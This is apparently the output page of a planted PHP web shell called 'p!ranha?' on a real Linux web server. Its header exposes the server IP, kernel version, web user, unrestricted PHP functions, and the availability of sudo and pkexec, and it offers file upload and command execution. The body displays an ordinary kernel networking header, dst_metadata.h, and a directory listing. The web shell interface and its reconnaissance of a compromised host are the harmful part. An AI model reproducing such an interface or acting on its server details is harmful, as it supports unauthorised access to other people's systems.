p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/include/net/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/include/net/dst_metadata.h
#ifndef __NET_DST_METADATA_H
#define __NET_DST_METADATA_H 1

#include <linux/skbuff.h>
#ifndef __GENKSYMS__
#include <net/ip_tunnels.h>
#endif
#include <net/dst.h>

enum metadata_type {
	METADATA_IP_TUNNEL,
	METADATA_HW_PORT_MUX,
};

struct hw_port_info {
	struct net_device *lower_dev;
	u32 port_id;
};

struct metadata_dst {
	struct dst_entry		dst;
	size_t				opts_len;
	enum metadata_type		type;
	union {
		struct ip_tunnel_info	tun_info;
		struct hw_port_info	port_info;
	} u;
};

static inline struct metadata_dst *skb_metadata_dst(const struct sk_buff *skb)
{
	struct metadata_dst *md_dst = (struct metadata_dst *) skb_dst(skb);

	if (md_dst && md_dst->dst.flags & DST_METADATA)
		return md_dst;

	return NULL;
}

static inline struct ip_tunnel_info *
skb_tunnel_info(const struct sk_buff *skb)
{
	struct metadata_dst *md_dst = skb_metadata_dst(skb);
	struct dst_entry *dst;

	if (md_dst && md_dst->type == METADATA_IP_TUNNEL)
		return &md_dst->u.tun_info;

	dst = skb_dst(skb);
	if (dst && dst->lwtstate)
		return lwt_tun_info(dst->lwtstate);

	return NULL;
}

static inline bool skb_valid_dst(const struct sk_buff *skb)
{
	struct dst_entry *dst = skb_dst(skb);

	return dst && !(dst->flags & DST_METADATA);
}

static inline int skb_metadata_dst_cmp(const struct sk_buff *skb_a,
				       const struct sk_buff *skb_b)
{
	const struct metadata_dst *a, *b;

	if (!(skb_a->_skb_refdst | skb_b->_skb_refdst))
		return 0;

	a = (const struct metadata_dst *) skb_dst(skb_a);
	b = (const struct metadata_dst *) skb_dst(skb_b);

	if (!a != !b || a->type != b->type)
		return 1;

	switch (a->type) {
	case METADATA_HW_PORT_MUX:
		return memcmp(&a->u.port_info, &b->u.port_info,
			      sizeof(a->u.port_info));
	case METADATA_IP_TUNNEL:
		return memcmp(&a->u.tun_info, &b->u.tun_info,
			      sizeof(a->u.tun_info) +
					 a->u.tun_info.options_len);
	default:
		return 1;
	}
}

void metadata_dst_free(struct metadata_dst *);
struct metadata_dst *metadata_dst_alloc(u8 optslen, enum metadata_type type,
					gfp_t flags);

static inline struct metadata_dst *tun_rx_dst(int md_size)
{
	struct metadata_dst *tun_dst;

	tun_dst = metadata_dst_alloc(md_size, METADATA_IP_TUNNEL, GFP_ATOMIC);
	if (!tun_dst)
		return NULL;

	tun_dst->u.tun_info.options_len = 0;
	tun_dst->u.tun_info.mode = 0;
	return tun_dst;
}

static inline struct metadata_dst *tun_dst_unclone(struct sk_buff *skb)
{
	struct metadata_dst *md_dst = skb_metadata_dst(skb);
	int md_size;
	struct metadata_dst *new_md;

	if (!md_dst || md_dst->type != METADATA_IP_TUNNEL)
		return ERR_PTR(-EINVAL);

	md_size = md_dst->u.tun_info.options_len;
	new_md = metadata_dst_alloc(md_size, METADATA_IP_TUNNEL, GFP_ATOMIC);
	if (!new_md)
		return ERR_PTR(-ENOMEM);

	memcpy(&new_md->u.tun_info, &md_dst->u.tun_info,
	       sizeof(struct ip_tunnel_info) + md_size);
	skb_dst_drop(skb);
	dst_hold(&new_md->dst);
	skb_dst_set(skb, &new_md->dst);
	return new_md;
}

static inline struct ip_tunnel_info *skb_tunnel_info_unclone(struct sk_buff *skb)
{
	struct metadata_dst *dst;

	dst = tun_dst_unclone(skb);
	if (IS_ERR(dst))
		return NULL;

	return &dst->u.tun_info;
}

static inline struct metadata_dst *__ip_tun_set_dst(__be32 saddr,
						    __be32 daddr,
						    __u8 tos, __u8 ttl,
						    __be16 tp_dst,
						    __be16 flags,
						    __be64 tunnel_id,
						    int md_size)
{
	struct metadata_dst *tun_dst;

	tun_dst = tun_rx_dst(md_size);
	if (!tun_dst)
		return NULL;

	ip_tunnel_key_init(&tun_dst->u.tun_info.key,
			   saddr, daddr, tos, ttl,
			   0, 0, tp_dst, tunnel_id, flags);
	return tun_dst;
}

static inline struct metadata_dst *ip_tun_rx_dst(struct sk_buff *skb,
						 __be16 flags,
						 __be64 tunnel_id,
						 int md_size)
{
	const struct iphdr *iph = ip_hdr(skb);

	return __ip_tun_set_dst(iph->saddr, iph->daddr, iph->tos, iph->ttl,
				0, flags, tunnel_id, md_size);
}

static inline struct metadata_dst *__ipv6_tun_set_dst(const struct in6_addr *saddr,
						      const struct in6_addr *daddr,
						      __u8 tos, __u8 ttl,
						      __be16 tp_dst,
						      __be32 label,
						      __be16 flags,
						      __be64 tunnel_id,
						      int md_size)
{
	struct metadata_dst *tun_dst;
	struct ip_tunnel_info *info;

	tun_dst = tun_rx_dst(md_size);
	if (!tun_dst)
		return NULL;

	info = &tun_dst->u.tun_info;
	info->mode = IP_TUNNEL_INFO_IPV6;
	info->key.tun_flags = flags;
	info->key.tun_id = tunnel_id;
	info->key.tp_src = 0;
	info->key.tp_dst = tp_dst;

	info->key.u.ipv6.src = *saddr;
	info->key.u.ipv6.dst = *daddr;

	info->key.tos = tos;
	info->key.ttl = ttl;
	info->key.label = label;

	return tun_dst;
}

static inline struct metadata_dst *ipv6_tun_rx_dst(struct sk_buff *skb,
						   __be16 flags,
						   __be64 tunnel_id,
						   int md_size)
{
	const struct ipv6hdr *ip6h = ipv6_hdr(skb);

	return __ipv6_tun_set_dst(&ip6h->saddr, &ip6h->daddr,
				  ipv6_get_dsfield(ip6h), ip6h->hop_limit,
				  0, ip6_flowlabel(ip6h), flags, tunnel_id,
				  md_size);
}
#endif /* __NET_DST_METADATA_H */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:01:09
0 / 0
0755
9p
--
September 29 2025 07:01:23
0 / 0
0755
bluetooth
--
September 29 2025 07:01:24
0 / 0
0755
caif
--
September 29 2025 07:01:24
0 / 0
0755
irda
--
September 29 2025 07:01:24
0 / 0
0755
iucv
--
September 29 2025 07:01:24
0 / 0
0755
netfilter
--
September 29 2025 07:01:24
0 / 0
0755
netns
--
September 29 2025 07:01:24
0 / 0
0755
nfc
--
September 29 2025 07:01:24
0 / 0
0755
phonet
--
September 29 2025 07:01:24
0 / 0
0755
sctp
--
September 29 2025 07:01:23
0 / 0
0755
tc_act
--
September 29 2025 07:01:24
0 / 0
0755
6lowpan.h
9.63 KB
November 06 2023 09:15:52
0 / 0
0644
act_api.h
5.642 KB
November 06 2023 09:15:52
0 / 0
0644
addrconf.h
12.438 KB
November 06 2023 09:15:52
0 / 0
0644
af_ieee802154.h
1.554 KB
November 06 2023 09:15:52
0 / 0
0644
af_rxrpc.h
1.928 KB
November 06 2023 09:15:52
0 / 0
0644
af_unix.h
2.163 KB
November 06 2023 09:15:52
0 / 0
0644
af_vsock.h
7.13 KB
November 06 2023 09:15:52
0 / 0
0644
ah.h
0.425 KB
November 06 2023 09:15:52
0 / 0
0644
arp.h
2.117 KB
November 06 2023 09:15:52
0 / 0
0644
atmclip.h
1.441 KB
November 06 2023 09:15:52
0 / 0
0644
ax25.h
15.093 KB
November 06 2023 09:15:52
0 / 0
0644
ax88796.h
0.975 KB
November 06 2023 09:15:52
0 / 0
0644
bond_3ad.h
10.221 KB
November 06 2023 09:15:52
0 / 0
0644
bond_alb.h
6.598 KB
November 06 2023 09:15:52
0 / 0
0644
bond_options.h
3.916 KB
November 06 2023 09:15:52
0 / 0
0644
bonding.h
19.34 KB
November 06 2023 09:15:52
0 / 0
0644
busy_poll.h
3.229 KB
November 06 2023 09:15:52
0 / 0
0644
cfg80211-wext.h
1.953 KB
November 06 2023 09:15:52
0 / 0
0644
cfg80211.h
260.457 KB
November 06 2023 09:15:52
0 / 0
0644
cfg802154.h
10.812 KB
November 06 2023 09:15:52
0 / 0
0644
checksum.h
4.024 KB
November 06 2023 09:15:52
0 / 0
0644
cipso_ipv4.h
7.889 KB
November 06 2023 09:15:52
0 / 0
0644
cls_cgroup.h
1.562 KB
November 06 2023 09:15:52
0 / 0
0644
codel.h
5.646 KB
November 06 2023 09:15:52
0 / 0
0644
codel_impl.h
7.976 KB
November 06 2023 09:15:52
0 / 0
0644
codel_qdisc.h
2.903 KB
November 06 2023 09:15:52
0 / 0
0644
compat.h
2.079 KB
November 06 2023 09:15:52
0 / 0
0644
datalink.h
0.471 KB
November 06 2023 09:15:52
0 / 0
0644
dcbevent.h
1.263 KB
November 06 2023 09:15:52
0 / 0
0644
dcbnl.h
4.451 KB
November 06 2023 09:15:52
0 / 0
0644
devlink.h
23.734 KB
November 06 2023 09:15:52
0 / 0
0644
dn.h
6.986 KB
November 06 2023 09:15:52
0 / 0
0644
dn_dev.h
5.424 KB
November 06 2023 09:15:52
0 / 0
0644
dn_fib.h
4.033 KB
November 06 2023 09:15:52
0 / 0
0644
dn_neigh.h
0.805 KB
November 06 2023 09:15:52
0 / 0
0644
dn_nsp.h
5.966 KB
November 06 2023 09:15:52
0 / 0
0644
dn_route.h
4.283 KB
November 06 2023 09:15:52
0 / 0
0644
dsa.h
4.265 KB
November 06 2023 09:15:52
0 / 0
0644
dsfield.h
1.074 KB
November 06 2023 09:15:52
0 / 0
0644
dst.h
14.609 KB
November 06 2023 09:15:52
0 / 0
0644
dst_cache.h
2.494 KB
November 06 2023 09:15:52
0 / 0
0644
dst_metadata.h
4.887 KB
November 06 2023 09:15:52
0 / 0
0644
dst_ops.h
2.022 KB
November 06 2023 09:15:52
0 / 0
0644
esp.h
0.35 KB
November 06 2023 09:15:52
0 / 0
0644
ethoc.h
0.49 KB
November 06 2023 09:15:52
0 / 0
0644
failover.h
1.15 KB
November 06 2023 09:15:52
0 / 0
0644
fib_notifier.h
1.286 KB
November 06 2023 09:15:52
0 / 0
0644
fib_rules.h
3.646 KB
November 06 2023 09:15:52
0 / 0
0644
firewire.h
0.583 KB
November 06 2023 09:15:52
0 / 0
0644
flow.h
7.558 KB
November 06 2023 09:15:52
0 / 0
0644
flow_dissector.h
7.886 KB
November 06 2023 09:15:52
0 / 0
0644
flowcache.h
0.548 KB
November 06 2023 09:15:52
0 / 0
0644
fou.h
0.487 KB
November 06 2023 09:15:52
0 / 0
0644
fq.h
2.67 KB
November 06 2023 09:15:52
0 / 0
0644
fq_impl.h
6.898 KB
November 06 2023 09:15:52
0 / 0
0644
garp.h
2.634 KB
November 06 2023 09:15:52
0 / 0
0644
gen_stats.h
2.479 KB
November 06 2023 09:15:52
0 / 0
0644
genetlink.h
11.257 KB
November 06 2023 09:15:52
0 / 0
0644
geneve.h
1.765 KB
November 06 2023 09:15:52
0 / 0
0644
gre.h
3.229 KB
November 06 2023 09:15:52
0 / 0
0644
gro_cells.h
2.051 KB
November 06 2023 09:15:52
0 / 0
0644
gue.h
3.188 KB
November 06 2023 09:15:52
0 / 0
0644
icmp.h
1.56 KB
November 06 2023 09:15:52
0 / 0
0644
ieee80211_radiotap.h
13.038 KB
November 06 2023 09:15:52
0 / 0
0644
ieee802154.h
5.59 KB
November 06 2023 09:15:52
0 / 0
0644
ieee802154_netdev.h
9.139 KB
November 06 2023 09:15:52
0 / 0
0644
if_inet6.h
6.198 KB
November 06 2023 09:15:52
0 / 0
0644
ife.h
0.991 KB
November 06 2023 09:15:52
0 / 0
0644
inet6_connection_sock.h
1.403 KB
November 06 2023 09:15:52
0 / 0
0644
inet6_hashtables.h
2.922 KB
November 06 2023 09:15:52
0 / 0
0644
inet_common.h
1.544 KB
November 06 2023 09:15:52
0 / 0
0644
inet_connection_sock.h
11.056 KB
November 06 2023 09:15:52
0 / 0
0644
inet_ecn.h
6.059 KB
November 06 2023 09:15:52
0 / 0
0644
inet_frag.h
4.844 KB
November 06 2023 09:15:52
0 / 0
0644
inet_hashtables.h
12.311 KB
November 06 2023 09:15:52
0 / 0
0644
inet_sock.h
7.381 KB
November 06 2023 09:15:52
0 / 0
0644
inet_timewait_sock.h
6.357 KB
November 06 2023 09:15:52
0 / 0
0644
inetpeer.h
4.229 KB
November 06 2023 09:15:52
0 / 0
0644
ip.h
16.709 KB
November 06 2023 09:15:52
0 / 0
0644
ip6_checksum.h
2.905 KB
November 06 2023 09:15:52
0 / 0
0644
ip6_fib.h
8.613 KB
November 06 2023 09:15:52
0 / 0
0644
ip6_route.h
5.687 KB
November 06 2023 09:15:52
0 / 0
0644
ip6_tunnel.h
3.153 KB
November 06 2023 09:15:52
0 / 0
0644
ip_fib.h
11.092 KB
November 06 2023 09:15:52
0 / 0
0644
ip_tunnels.h
12.486 KB
November 06 2023 09:15:52
0 / 0
0644
ip_vs.h
45.54 KB
November 06 2023 09:15:52
0 / 0
0644
ipcomp.h
0.605 KB
November 06 2023 09:15:52
0 / 0
0644
ipconfig.h
0.754 KB
November 06 2023 09:15:52
0 / 0
0644
ipv6.h
26.433 KB
November 06 2023 09:15:52
0 / 0
0644
ipx.h
3.716 KB
November 06 2023 09:15:52
0 / 0
0644
iw_handler.h
20.872 KB
November 06 2023 09:15:52
0 / 0
0644
lapb.h
4.869 KB
November 06 2023 09:15:52
0 / 0
0644
lib80211.h
4.172 KB
November 06 2023 09:15:52
0 / 0
0644
llc.h
4.432 KB
November 06 2023 09:15:52
0 / 0
0644
llc_c_ac.h
10.092 KB
November 06 2023 09:15:52
0 / 0
0644
llc_c_ev.h
11.579 KB
November 06 2023 09:15:52
0 / 0
0644
llc_c_st.h
1.709 KB
November 06 2023 09:15:52
0 / 0
0644
llc_conn.h
4.117 KB
November 06 2023 09:15:52
0 / 0
0644
llc_if.h
3.034 KB
November 06 2023 09:15:52
0 / 0
0644
llc_pdu.h
14.189 KB
November 06 2023 09:15:52
0 / 0
0644
llc_s_ac.h
1.631 KB
November 06 2023 09:15:52
0 / 0
0644
llc_s_ev.h
2.281 KB
November 06 2023 09:15:52
0 / 0
0644
llc_s_st.h
0.919 KB
November 06 2023 09:15:52
0 / 0
0644
llc_sap.h
1.175 KB
November 06 2023 09:15:52
0 / 0
0644
lwtunnel.h
4.005 KB
November 06 2023 09:15:52
0 / 0
0644
mac80211.h
248.911 KB
November 06 2023 09:15:52
0 / 0
0644
mac802154.h
15.267 KB
November 06 2023 09:15:52
0 / 0
0644
mip6.h
1.579 KB
November 06 2023 09:15:52
0 / 0
0644
mld.h
2.765 KB
November 06 2023 09:15:52
0 / 0
0644
mpls.h
0.91 KB
November 06 2023 09:15:52
0 / 0
0644
mrp.h
3.011 KB
November 06 2023 09:15:52
0 / 0
0644
ndisc.h
14.677 KB
November 06 2023 09:15:52
0 / 0
0644
neighbour.h
12.923 KB
November 06 2023 09:15:52
0 / 0
0644
net_failover.h
0.999 KB
November 06 2023 09:15:52
0 / 0
0644
net_namespace.h
11.888 KB
November 06 2023 09:15:52
0 / 0
0644
net_ratelimit.h
0.177 KB
November 06 2023 09:15:52
0 / 0
0644
netevent.h
0.852 KB
November 06 2023 09:15:52
0 / 0
0644
netlabel.h
17.24 KB
November 06 2023 09:15:52
0 / 0
0644
netlink.h
39.599 KB
November 06 2023 09:15:52
0 / 0
0644
netprio_cgroup.h
1.484 KB
November 06 2023 09:15:52
0 / 0
0644
netrom.h
7.916 KB
November 06 2023 09:15:52
0 / 0
0644
nexthop.h
0.802 KB
November 06 2023 09:15:52
0 / 0
0644
nl802154.h
12.095 KB
November 06 2023 09:15:52
0 / 0
0644
p8022.h
0.431 KB
November 06 2023 09:15:52
0 / 0
0644
page_pool.h
4.392 KB
November 06 2023 09:15:52
0 / 0
0644
ping.h
1.386 KB
November 06 2023 09:15:52
0 / 0
0644
pkt_cls.h
19.325 KB
November 06 2023 09:15:52
0 / 0
0644
pkt_sched.h
4.008 KB
November 06 2023 09:15:52
0 / 0
0644
pptp.h
0.948 KB
November 06 2023 09:15:52
0 / 0
0644
protocol.h
3.932 KB
November 06 2023 09:15:52
0 / 0
0644
psample.h
0.785 KB
November 06 2023 09:15:52
0 / 0
0644
psnap.h
0.318 KB
November 06 2023 09:15:52
0 / 0
0644
raw.h
1.864 KB
November 06 2023 09:15:52
0 / 0
0644
rawv6.h
0.546 KB
November 06 2023 09:15:52
0 / 0
0644
red.h
10.247 KB
November 06 2023 09:15:52
0 / 0
0644
regulatory.h
10.886 KB
November 06 2023 09:15:52
0 / 0
0644
request_sock.h
7.634 KB
November 06 2023 09:15:52
0 / 0
0644
rose.h
7.941 KB
November 06 2023 09:15:52
0 / 0
0644
route.h
9.364 KB
November 06 2023 09:15:52
0 / 0
0644
rtnetlink.h
6.603 KB
November 06 2023 09:15:52
0 / 0
0644
sch_generic.h
24.541 KB
November 06 2023 09:15:52
0 / 0
0644
sch_generic_kabi.h
4.322 KB
November 06 2023 09:15:52
0 / 0
0644
scm.h
3.479 KB
November 06 2023 09:15:52
0 / 0
0644
secure_seq.h
1.037 KB
November 06 2023 09:15:52
0 / 0
0644
slhc_vj.h
6.627 KB
November 06 2023 09:15:52
0 / 0
0644
snmp.h
5.956 KB
November 06 2023 09:15:52
0 / 0
0644
sock.h
67.533 KB
November 06 2023 09:15:52
0 / 0
0644
sock_reuseport.h
0.542 KB
November 06 2023 09:15:52
0 / 0
0644
stp.h
0.35 KB
November 06 2023 09:15:52
0 / 0
0644
switchdev.h
9.045 KB
November 06 2023 09:15:52
0 / 0
0644
tcp.h
52.118 KB
November 06 2023 09:15:52
0 / 0
0644
tcp_memcontrol.h
0.597 KB
November 06 2023 09:15:52
0 / 0
0644
tcp_states.h
1.213 KB
November 06 2023 09:15:52
0 / 0
0644
timewait_sock.h
1.199 KB
November 06 2023 09:15:52
0 / 0
0644
transp_v6.h
1.757 KB
November 06 2023 09:15:52
0 / 0
0644
tso.h
0.436 KB
November 06 2023 09:15:52
0 / 0
0644
tun_proto.h
0.965 KB
November 06 2023 09:15:52
0 / 0
0644
udp.h
10.956 KB
November 06 2023 09:15:52
0 / 0
0644
udp_tunnel.h
5.218 KB
November 06 2023 09:15:52
0 / 0
0644
udplite.h
3.808 KB
November 06 2023 09:15:52
0 / 0
0644
vsock_addr.h
1.048 KB
November 06 2023 09:15:52
0 / 0
0644
vxlan.h
11.302 KB
November 06 2023 09:15:52
0 / 0
0644
wext.h
1.474 KB
November 06 2023 09:15:52
0 / 0
0644
wimax.h
20.084 KB
November 06 2023 09:15:52
0 / 0
0644
wpan-phy.h
2.554 KB
November 06 2023 09:15:52
0 / 0
0644
x25.h
9.737 KB
November 06 2023 09:15:52
0 / 0
0644
x25device.h
0.34 KB
November 06 2023 09:15:52
0 / 0
0644
xdp.h
3.445 KB
November 06 2023 09:15:52
0 / 0
0644
xdp_sock.h
4.891 KB
November 06 2023 09:15:52
0 / 0
0644
xfrm.h
49.833 KB
November 06 2023 09:15:52
0 / 0
0644